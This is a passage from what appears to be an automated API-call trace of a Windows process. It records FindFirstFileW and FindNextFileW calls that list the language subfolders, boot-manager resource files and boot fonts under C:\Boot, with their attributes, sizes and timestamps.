ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b148 [0133.358] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.358] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.358] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.358] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.358] FindClose (in: hFindFile=0x69b148 | out: hFindFile=0x69b148) returned 1 [0133.358] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0133.358] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0133.358] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b008 [0133.359] FindNextFileW (in: hFindFile=0x69b008, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.359] FindNextFileW (in: hFindFile=0x69b008, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.359] FindNextFileW (in: hFindFile=0x69b008, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0133.359] FindClose (in: hFindFile=0x69b008 | out: hFindFile=0x69b008) returned 1 [0133.359] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0133.359] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0133.359] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b148 [0133.359] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.359] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.359] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0133.359] FindClose (in: hFindFile=0x69b148 | out: hFindFile=0x69b148) returned 1 [0133.359] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0133.359] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0133.360] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69ae48 [0133.360] FindNextFileW (in: hFindFile=0x69ae48, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.360] FindNextFileW (in: hFindFile=0x69ae48, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0133.360] FindNextFileW (in: hFindFile=0x69ae48, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0133.360] FindNextFileW (in: hFindFile=0x69ae48, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0133.360] FindClose (in: hFindFile=0x69ae48 | out: hFindFile=0x69ae48) returned 1 [0133.360] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0133.360] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0133.361] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69aec8 [0133.548] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.551] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0133.551] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0133.551] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0133.551] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0133.551] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0133.551] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0133.551] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0133.551] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0133.551] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0133.552] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0133.552] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0133.552] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0133.552] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0133.552] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0133.552] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0133.552] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0133.552] FindNextFileW (in: hFindFile=0x69aec8, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 0 [0133.553] FindClose (in: hFindFile=0x69aec8 | out: hFindFile=0x69aec8) returned 1 [0133.554] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3d30060 | out: hHeap=0x5a0000) returned 1 [0133.554] FindNextFileW (in: hFindFile=0x69b208, lpFindFileData=0x348fa7c | out: lpFindFileData=0x348fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0133.554] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-CA\\*", lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x69b148 [0134.691] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0134.702] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0134.702] FindNextFileW (in: hFindFile=0x69b148, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, 